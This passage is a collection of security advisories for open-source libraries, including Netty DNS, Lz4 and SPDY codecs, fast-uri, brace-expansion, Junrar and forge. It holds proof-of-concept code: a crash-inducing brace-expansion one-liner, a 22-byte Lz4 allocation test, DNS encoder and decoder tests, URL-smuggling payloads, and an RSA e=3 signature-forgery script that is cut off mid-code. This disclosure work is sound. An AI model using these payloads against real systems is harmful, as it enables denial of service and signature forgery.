rather than High severity. ### Verification Environment browserslist @ HEAD (== v4.28.6, current latest stable release) under local Node.js v20.19.5, run with `--expose-gc` for accurate heap measurement. ### Note Found during a broader review of this codebase in the same research pass that produced GHSA-rrmg-cfrq-23vv (parse.js algorithmic complexity), GHSA-g6p8-hj8g-x889 (baseline regexp ReDoS), GHSA-73wf-gq98-2v4g (normalizeStats crash/prototype write), and GHSA-h633-868p-5rfw (SCOPED_CONFIG__PATTERN ReDoS) — all single-request DoS vectors. This one is different in character (volumetric, not single-request) and is reported separately/scored lower accordingly.
# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder) ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-dns) | | **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` | | **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption | | **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets | ## 2. Affected Components Both the encoder and decoder in the same file are affected: - `io.netty.handler.codec.dns.DnsCodecUtil` — `encodeDomainName()` method (lines 31-51): - No null byte validation in domain name labels - No per-label length validation (RFC 1035 max: 63 bytes) - No total domain name length validation (RFC 1035 max: 255 bytes) - Empty labels silently truncate the domain name - `io.netty.handler.codec.dns.DnsCodecUtil` — `decodeDomainName()` method (lines 53-118): - No per-label length validation (max 63) - No total domain name length validation (max 255) - Unbounded StringBuilder growth from attacker-controlled DNS responses ## 3. Vulnerability Description Netty's DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. ### 3.1 Encoder Side — Null Byte Injection (CWE-626) A domain name containing a null byte (e.g., `"evil\0.example.com"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently: - **Java (full string)**: sees `"evil\0.example.com"` as a single label containing a null - **C/native DNS libraries**: truncate at the null byte, seeing only `"evil"` - **DNS servers**: may accept or reject based on implementation This differential interpretation enables **DNS cache poisoning** and **domain validation bypass**. ### 3.2 Encoder Side — Overlength Label (RFC 1035 Violation) Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means: - A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers - This creates **parser confusion** between label and pointer interpretation ### 3.3 Encoder Side — Silent Truncation via Empty Labels ```java encodeDomainName("a..b.com", buf); // Encodes as: [01] 'a' [00] // Only "a." is encoded, ".b.com" is silently dropped! ``` An attacker can craft input like `"safe-domain..evil.com"` which gets truncated to just `"safe-domain."`, potentially bypassing domain allowlists. ### 3.4 Decoder Side — Unbounded Memory Allocation The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation. ### Root Cause — Encoder ```java // DnsCodecUtil.java:31-51 static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { break; // NO ERROR - silently truncates! } // NO check: labelLen > 63 // NO check: label contains null bytes // NO check: total name > 255 bytes buf.writeByte(labelLen); // Can write values > 63! ByteBufUtil.writeAscii(buf, label); // Null bytes pass through! } buf.writeByte(0); } ``` ### Root Cause — Decoder ```java // DnsCodecUtil.java:94-99 (decodeDomainName) } else if (len != 0) { if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63 throw new CorruptedFrameException("truncated label in a name"); } name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.'); // ^^^^^^ StringBuilder grows WITHOUT any length limit in.skipBytes(len); } ``` **Missing checks in decoder**: - No `if (len > 63)` check per RFC 1035 Section 2.3.4 - No `if (name.length() > 255)` check for total domain name length ## 4. Exploitability Prerequisites ### Encoder Side (outbound) 1. An application constructs DNS queries using Netty's DNS codec with user-influenced domain names 2. The constructed DNS packets are sent to DNS servers or resolvers ### Decoder Side (inbound) 1. An application uses Netty's `codec-dns` or `resolver-dns` module to process DNS responses 2. The application communicates with a malicious or compromised DNS server **Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames. ## 5. Attack Scenarios ### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder) ```java String hostname = userInput; // "evil\0.trusted.com" DnsQuery query = new DefaultDnsQuery(...) .addRecord(DnsSection.QUESTION, new DefaultDnsQuestion(hostname, DnsRecordType.A)); ``` The DNS query for `"evil\0.trusted.com"` may be interpreted by some resolvers as a query for `"evil"` (truncated at null). If the attacker controls the DNS for `"evil"`, they can return a response that gets cached for `"evil\0.trusted.com"` (or vice versa), poisoning the cache. ### Scenario 2: Label/Pointer Confusion (Encoder) A 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous: ``` Byte: [C8] [61 61 61 ... (200 bytes)] ↑ Label interpretation: 200-byte label starting with 'a' Pointer interpretation: pointer to offset 0x0861 = 2145 ``` ### Scenario 3: Memory Exhaustion via Large Labels (Decoder) A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation. ### Scenario 4: Domain Truncation via Empty Label (Encoder) ```java encodeDomainName("safe-domain..evil.com", buf); // Only "safe-domain." is encoded, "evil.com" silently dropped ``` This can bypass domain allowlists that check the input string. ### Scenario 5: Downstream Processing Failures (Decoder) Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance. ## 6. Proof of Concept ### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; public class DnsEncoderNullBytePoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n"); Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method encode = clazz.getDeclaredMethod("encodeDomainName", String.class, ByteBuf.class); encode.setAccessible(true); // Test 1: Null byte in domain name ByteBuf buf = Unpooled.buffer(256); encode.invoke(null, "evil\0.example.com", buf); byte[] bytes = new byte[buf.readableBytes()]; buf.readBytes(bytes); buf.release(); System.out.print("[TEST 1] Null byte - Encoded: "); for (byte b : bytes) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Null byte 0x00 in label data!"); // Test 2: 200-byte label ByteBuf buf2 = Unpooled.buffer(512); encode.invoke(null, "a".repeat(200) + ".com", buf2); System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes"); System.out.println("VULNERABLE: Overlength label accepted!"); buf2.release(); // Test 3: Empty label truncation ByteBuf buf3 = Unpooled.buffer(256); encode.invoke(null, "a..b.com", buf3); byte[] bytes3 = new byte[buf3.readableBytes()]; buf3.readBytes(bytes3); buf3.release(); System.out.print("\n[TEST 3] Empty label - Encoded: "); for (byte b : bytes3) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Domain silently truncated!"); } } ``` ### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets; public class DnsDecoderLengthPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n"); Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class); decode.setAccessible(true); // Test 1: 100-byte label (RFC limit: 63) ByteBuf buf1 = Unpooled.buffer(256); buf1.writeByte(100); buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII)); buf1.writeByte(3); buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII)); buf1.writeByte(0); String r1 = (String) decode.invoke(null, buf1); buf1.release(); System.out.println("[TEST 1] 100-byte label: length=" + r1.length() + " VULNERABLE=" + (r1.length() > 64)); // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255) ByteBuf buf2 = Unpooled.buffer(512); for (int i = 0; i < 5; i++) { buf2.writeByte(60); buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60) .getBytes(StandardCharsets.US_ASCII)); } buf2.writeByte(0); String r2 = (String) decode.invoke(null, buf2); buf2.release(); System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() + " VULNERABLE=" + (r2.length() > 255)); } } ``` ### How to Compile and Run ```bash JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Encoder PoC javac -cp "$JARS" DnsEncoderNullBytePoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC # Decoder PoC javac -cp "$JARS" DnsDecoderLengthPoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) **Encoder PoC:** ``` === Netty DNS Encoder Validation Bypass PoC === [TEST 1] Null byte in domain name Input: "evil\0.example.com" Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00 Null byte in label data: true VULNERABLE: YES - Null byte accepted! [TEST 2] Label > 63 bytes in encoder Input: "aaaaaa..." (200-char label) Encoded bytes: 206 VULNERABLE: YES - Overlength label accepted in encoder! [TEST 3] Empty labels (consecutive dots) Input: "a..b.com" Encoded bytes: 01 61 00 Note: Empty label truncates the name (may lose data) ``` **Decoder PoC:** ``` === Netty DNS Decoder Length Bypass PoC === [TEST 1] Label > 63 bytes (RFC 1035 violation) Label length: 100 bytes (RFC limit: 63) Decoded name length: 105 VULNERABLE: YES - Label > 63 bytes accepted! [TEST 2] Domain > 255 bytes via multiple labels 5 labels x 60 bytes = 300+ bytes total RFC 1035 limit: 255 bytes Decoded name length: 305 VULNERABLE: YES - Domain > 255 bytes accepted! ``` ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Integrity** | HIGH — Null byte injection causes differential interpretation across DNS implementations | | **Availability** | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder | | **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet | | **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies | | **Label/Pointer Confusion** | Length bytes > 63 conflict with RFC 1035 compression pointer encoding | | **Silent Truncation** | Empty labels silently drop the remainder of the domain name | | **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries | ## 8. Remediation Recommendations ### Fix for Encoder (encodeDomainName) ```java static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } int totalLength = 0; final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { throw new IllegalArgumentException("DNS name contains empty label: " + name); } if (labelLen > 63) { throw new IllegalArgumentException( "DNS label length " + labelLen + " exceeds maximum of 63: " + name); } for (int i = 0; i < label.length(); i++) { if (label.charAt(i) == '\0') { throw new IllegalArgumentException( "DNS label contains null byte at index " + i); } } totalLength += 1 + labelLen; if (totalLength > 254) { throw new IllegalArgumentException( "DNS name exceeds maximum length of 255: " + name); } buf.writeByte(labelLen); ByteBufUtil.writeAscii(buf, label); } buf.writeByte(0); } ``` ### Fix for Decoder (decodeDomainName) ```java // Add after "} else if (len != 0) {": if (len > 63) { throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63"); } // Add after "name.append(...)": if (name.length() > 255) { throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255"); } ``` ## 9. Resources - [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4) - [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4) - [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html) - [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html) - [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)
### Impact `fast-uri` does not validate the complete RFC 3986 grammar for bracketed IPv6 literals, so a malformed literal with invalid trailing text is silently truncated to a different valid IPv6 address with no error reported. For example, `normalize('http://[::not-valid]/private')` returns `http://[::]/private`, and `[fc00::not-hex]` and `[fe80::not-hex]` collapse to `[fc00::]` and `[fe80::]`. An application that normalizes an untrusted URL before an outbound request, redirect, or host-policy check can be routed to a local or private address such as loopback (`::1`), unique-local, or link-local. Because `parse().error` is unset for these inputs, checking it does not protect the consumer. ### Patches Upgrade to `fast-uri` 2.4.5, 3.1.6, or 4.1.3. Malformed IPv6 literals are now rejected with a host error instead of being normalized to a valid address. ### Workarounds Reject untrusted URLs whose host is a bracketed IPv6 literal before passing them to `fast-uri`, or route outbound requests against an explicit allowlist of addresses rather than trusting the normalized host.
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
### Summary Junrar's RAR virtual machine can be forced into a deterministic infinite loop while extracting a crafted RAR4 archive. The `RarVM.ExecuteCode` loop is intended to be bounded by `maxOpCount`, but jump instructions can bypass this limit when `setIP()` is called with a target instruction pointer greater than or equal to `codeSize`. An unauthenticated attacker who can provide a RAR archive to an application using `Junrar.extract()` can cause the extraction thread to spin forever, consuming CPU and blocking the process. The issue is a denial of service vulnerability, not remote code execution. ### Details The root cause is in `src/main/java/com/github/junrar/unpack/vm/RarVM.java`. `setIP()` returns early when the target IP is outside the prepared VM program: ```java private boolean setIP(int ip) { if ((ip) >= codeSize) { return (true); } if (--maxOpCount <= 0) { return (false); } IP = ip; return true; } ``` When `ip >= codeSize`, this branch: - does not update `IP`; - does not decrement `maxOpCount`; - returns `true`, so callers treat it as success. The `VM_JMP` handler and the other jump-like handlers discard the return value of `setIP()` and immediately `continue` the main VM loop: ```java case VM_JMP: setIP(getValue(false, mem, op1)); continue; ``` Because of the `continue`, execution also skips the loop-end accounting: ```java IP++; --maxOpCount; ``` As a result, a VM program containing a single `VM_JMP` instruction can freeze both `IP` and `maxOpCount`: 1. `IP` points to the `VM_JMP` instruction. 2. The jump target resolves to `codeSize` or larger. 3. `setIP()` returns before modifying `IP` or decrementing `maxOpCount`. 4. The caller ignores the return value and continues. 5. The same `VM_JMP` instruction is executed again forever. ### Impact This is a CPU denial of service vulnerability. Any application that uses junrar to extract untrusted RAR archives can have an extraction worker thread permanently blocked by a small crafted archive. In services that process uploads or attachments automatically, repeated submissions can exhaust worker capacity and degrade or stop archive-processing functionality. The RAR VM does not provide native code execution, reflection, or process execution primitives, and Java array bounds checks prevent escaping the VM memory array. The expected security impact is availability only.
Uncontrolled Resource Consumption vulnerability in the HTTP/1.1 message parser in Apache HttpComponents Core (5.4.2 and earlier, 5.5-beta1 and earlier) allows a remote attacker to cause a denial of service through memory exhaustion by sending messages with excessive number of headers / excessive header length
### Impact `fast-uri` decodes percent-encoded characters in the scheme component with the legacy global `unescape()` and serializes the result back as raw characters, without re-escaping it or validating it as a scheme. A scheme that decodes to characters outside the RFC 3986 scheme grammar can therefore introduce structure the original input did not contain. For example, `%2f%2fevil.example:/pwn` parses with no authority (`parse().host` is `undefined`), but `resolve()` and `normalize()` return `//evil.example:/pwn`, which reparses with host `evil.example`. The `%uXXXX` form (`%u002f%u002fevil.example:/pwn`) produces the same result, and a scheme containing `%0d%0a` reaches the output as a raw CR LF. Applications that normalize or resolve untrusted URLs before a redirect check, host allowlist, or outbound request decision, especially ones that treat a missing authority as same-origin, can be steered to an attacker-chosen authority, and a normalized URI placed in a response header can carry an injected CR LF. ### Patches Upgrade to `fast-uri` >= 4.1.3, or >= 3.1.6 in the v3.x release line, or >= 2.4.5 in the v2.x release line. ### Workarounds None. Upgrade to the patched version.
An issue in the fetch() method in the BasicProfile class of org.ini4j before v0.5.4 allows attackers to cause a Denial of Service (DoS) via unspecified vectors.
### Summary `expand()` bounds the *number* of results it produces (the `max` option, `100_000` by default) but not their *length*. By chaining many brace groups, an attacker keeps the result count under `max` while making every result grow with the number of groups. Building `max` long results — plus the intermediate arrays combined at each brace group — exhausts memory and crashes the Node process with an **uncatchable** out-of-memory error. `try/catch` around `expand()` does not help: the fatal error terminates the process. A ~7.5 KB input (`'{a,b}'.repeat(1500)`) is enough to crash a default Node process. ### Details For `N` chained brace groups such as `'{a,b}'.repeat(N)`: - the result count is `2^N`, immediately capped at `max` (`100_000`), so the `max` protection appears to hold, but - each result is `N` characters long, so the total output size is `max × N` characters, which grows without bound in `N`. `expand_` combines each brace set with the fully-expanded tail: ```js const post = m.post.length ? expand_(m.post, max, false) : [''] ... for (let j = 0; j < N.length; j++) { for (let k = 0; k < post.length && expansions.length < max; k++) { const expansion = pre + N[j] + post[k] // grows one group longer per level ... expansions.push(expansion) } } ``` The loop guard `expansions.length < max` limits how many strings are built, but nothing limits how long they get. Each recursion level materializes another array of up to `max` strings, one character longer than the level below, and — because V8 represents `pre + N[j] + post[k]` as a cons-string (rope) that references `post[k]` — those intermediate strings stay reachable through the whole chain. Memory therefore scales with `max × N`. Measured on `5.0.7` (`'{a,b}'.repeat(N)`, default `max`): | groups (N) | input bytes | result count | peak RSS | |---|---|---|---| | 20 | 100 | 100,000 | ~80 MB | | 50 | 250 | 100,000 | ~214 MB | | 100 | 500 | 100,000 | ~409 MB | | 300 | 1,500 | 100,000 | ~1,148 MB | | 1500 | 7,500 | — | **OOM crash** | ### Proof of concept ```js const { expand } = require('brace-expansion') // ~7.5 KB input — crashes the process with a fatal, uncatchable OOM: // FATAL ERROR: ... JavaScript heap out of memory try { expand('{a,b}'.repeat(1500)) } catch (e) { // never reached — the process is already dead } ``` ### Impact Any application that passes attacker-influenced strings to `brace-expansion.expand()` — directly, or transitively via `minimatch` / `glob` brace patterns — can be crashed by a small request. Because the failure is a fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught and it takes down the whole worker/process, denying service. ### Remediation Upgrade to a patched release. The fix bounds the total number of characters a single `expand()` call may accumulate (`EXPANSION_MAX_LENGTH`, default `4_000_000`, configurable via a new `maxLength` option), applied inside the output-building loops so intermediate arrays are bounded too. Once the limit is reached, output is truncated — consistent with how `max` already truncates — instead of growing without bound. The limit sits well above any realistic expansion (100,000 results hitting `max` measure ~1M characters), so legitimate input is unaffected. After the fix, `'{a,b}'.repeat(1500)` returns a bounded, truncated result in ~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB heap. The fix bounds memory but the algorithm still rebuilds intermediate arrays at each level (roughly `O(N × maxLength)` work on this input class). A streaming rewrite that produces output in `O(total output size)` can be a non-urgent follow-up. If immediate upgrade isn't possible, avoid passing untrusted input to `expand()` / glob brace patterns, or pass a small explicit `max` **and** `maxLength`.
### Summary Lz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation. ### Details io.netty.handler.codec.compression.Lz4FrameDecoder#decode Header fields are trusted for sizing. On the compressed path, after `readableBytes >= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses. ### PoC The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB ```java @Test void test() throws Exception { EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { AtomicReference<Throwable> serverError = new AtomicReference<>(); CountDownLatch latch = new CountDownLatch(1); ServerBootstrap server = new ServerBootstrap() .group(workerGroup) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline() .addLast(new Lz4FrameDecoder()) .addLast(new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { if (cause instanceof DecoderException) { serverError.set(cause.getCause()); } else { serverError.set(cause); } latch.countDown(); } }); } }); ChannelFuture serverChannel = server.bind(0).sync(); Bootstrap client = new Bootstrap() .group(workerGroup) .channel(NioSocketChannel.class) .handler(new ChannelInboundHandlerAdapter() { @Override public void channelActive(ChannelHandlerContext ctx) { ByteBuf buf = ctx.alloc().buffer(22, 22); buf.writeLong(MAGIC_NUMBER); buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F); buf.writeIntLE(1); buf.writeIntLE(1 << 25); buf.writeIntLE(0); buf.writeByte(0); ctx.writeAndFlush(buf); ctx.fireChannelActive(); } }); ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync(); assertTrue(latch.await(10, TimeUnit.SECONDS)); assertInstanceOf(IndexOutOfBoundsException.class, serverError.get()); clientChannel.channel().close(); serverChannel.channel().close(); } finally { workerGroup.shutdownGracefully(); } } ``` ### Impact Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
### Summary Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has already exceeded maxHeaderSize and marked the frame truncated. At commit b2d2137c4404af425bf9d5d601a62576f5c06925, a 12,253-byte compressed SPDY header block can declare and inflate a 12 MiB header-name field with maxHeaderSize=16, forcing compression-amplified decode and skip work in a reachable SpdyFrameCodec pipeline. ### PoC [poc.zip](https://github.com/user-attachments/files/28445780/poc.zip) run with: ```bash bash ./poc/run.sh ``` expected output: ```text NETTY_SPDY_ZLIB_DECODED_AFTER_LIMIT_TRIGGERED compressed_bytes=12253 declared_name_length=12582912 max_header_size=16 truncated=true invalid=false ``` The fingerprint means the compressed input was fully consumed while the raw header parser ended with `truncated=true` and `invalid=false` after processing the oversized decoded name. That specific state distinguishes this bug from a generic setup failure: the maxHeaderSize guard fired, but the zlib/raw decode path still inflated and skipped the full 12 MiB declared name. ### Impact A remote unauthenticated peer that can speak SPDY to a Netty pipeline containing SpdyFrameCodec can send a small compressed HEADERS block that expands into much larger raw header data after the configured maxHeaderSize limit has already been exceeded. The attack requires a reachable SPDY codec, ordinary transport setup such as TCP and optional TLS, and no independent compressed-frame-size or connection-rate limit ahead of SpdyFrameCodec. The satisfied protocol guards are straightforward: the HEADERS frame uses a nonzero stream id and length >= 4, the decoder factory selects the zlib decoder, the payload uses the SPDY dictionary, and the raw block appends a zero-length value so the already-truncated frame reaches END_HEADER_BLOCK. The user-visible effect is denial of service through compression-amplified CPU and allocation churn.
## Summary RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. ## Impacted Deployments **Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5` **Affected versions:** tested on v1.3.3 (latest release) and recent prior versions. **Configuration assumptions:** - Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5). - `_parseAllDigestBytes: true` (default setting). ## Root Cause In `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest. Two issues are present with this logic: 1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. 2. `_decodePkcs1_v1_5` comments mention that PS < 8 bytes should be rejected, but does not implement this logic. ## Reproduction Steps 1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`. 4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder. 5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction. 6. The script verifies both signatures with: - forge verify (`_parseAllDigestBytes: true`), and - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`). 7. Confirm output includes: - `control-forge-strict: true` - `control-node: true` - `forgery (forge library, strict): true` - `forgery (node/OpenSSL): false` ## Proof of Concept **Overview:** - Demonstrates a valid control signature and a forged signature in one run. - Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default). - Uses Node/OpenSSL as an differential verification baseline. - Observed output on tested commit: ```text control-forge-strict: true control-node: true forgery (forge library, strict): true forgery (node/OpenSSL): false ``` <details><summary>repro_min.js</summary> ```javascript #!/usr/bin/env node 'use strict'; const crypto = require('crypto'); const forge = require('./forge/lib/index'); // DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes: // SEQUENCE { // SEQUENCE { OID sha256, NULL }, // OCTET STRING <32-byte digest> // } // Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 const DIGESTINFO_SHA256_PREFIX = Buffer.from( '300d060960864801650304020105000420', 'hex' ); const toBig = b => BigInt('0x' + (b.toString('hex') || '0')); function toBuf(n, len) { let h = n.toString(16); if (h.length % 2) h = '0' + h; const b = Buffer.from(h, 'hex'); return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b; } function cbrtFloor(n) { let lo = 0n; let hi = 1n; while (hi * hi * hi <= n) hi <<= 1n; while (lo + 1n < hi) { const mid = (lo + hi) >> 1n; if (mid * mid * mid <= n) lo = mid; else hi = mid; } return lo; } const cbrtCeil = n => { const f = cbrtFloor(n); return f * f * f === n ? f : f + 1n; }; function derLen(len) { if (len < 0x80) return Buffer.from([len]); if (len <= 0xff) return Buffer.from([0x81, len]); return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]); } function forgeStrictVerify(publicPem, msg, sig) { const key = forge.pki.publicKeyFromPem(publicPem); const md = forge.md.sha256.create(); md.update(msg.toString('utf8'), 'utf8'); try { // verify(digestBytes, signatureBytes, scheme, options): // - digestBytes: raw SHA-256 digest bytes for `msg` // - signatureBytes: binary-string representation of the candidate signature // - scheme: undefined => default RSASSA-PKCS1-v1_5 // - options._parseAllDigestBytes: require DER parser to consume all bytes // (this is forge's default for verify; set explicitly here for clarity) return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) }; } catch (err) { return { ok: false, err: err.message }; } } function main() { const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096, publicExponent: 3, privateKeyEncoding: { type: 'pkcs1', format: 'pem' }, publicKeyEncoding: { type: 'pkcs1', format: 'pem' } }); const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' }); const nBytes = Buffer.from(jwk.n, 'base64url'); const n = toBig(nBytes); const e = toBig(Buffer.from(jwk.e, 'base64url')); if (e !== 3n) throw new Error('expected e=3'); const msg = Buffer.from('forged-message-0', 'utf8'); const digest = crypto.createHash('sha256').update(msg).digest(); const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]); // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING. const k = nBytes.length; // ffCount can be set to any value at or below 111 and produce a valid signature. // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package. // However, current versions of node forge do not check for this. // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself. const ffCount = 0; // `garbageLen` affects DER length field sizes, which in turn affect how // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`. // A small cap (8) is enough here: DER length-size transitions are discrete // and few (<128, <=255, <=65535, ...), so this stabilizes quickly. let garbageLen = 0; for (let i = 0; i < 8; i += 1) { const gLenEnc = derLen(garbageLen).length; const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen; const seqLenEnc = derLen(seqLen).length; const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc; const next = k - fixed; if (next === garbageLen) break; garbageLen = next; } const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen; const prefix = Buffer.concat([ Buffer.from([0x00, 0x01]), Buffer.alloc(ffCount, 0xff), Buffer.from([0x00]), Buffer.from([0x30]), derLen(seqLen), algAndDigest, Buffer.from([0x04]), derLen(garbageLen) ]); // Build the numeric interval of all EM values that start with `prefix`: // - `low` = prefix || 00..00 // - `high` = one past (prefix || ff..ff) // Then find `s` such that s^3 is inside [low, high), so EM has our prefix. const suffixLen = k - prefix.length; const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)])); const high = low + (1n << BigInt(8 * suffixLen)); const s = cbrtCeil(low); if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval'); const sig = toBuf(s, k); const controlMsg = Buffer.from('control-message', 'utf8'); const controlSig = crypto.sign('sha256', controlMsg, { key: privateKey, padding: 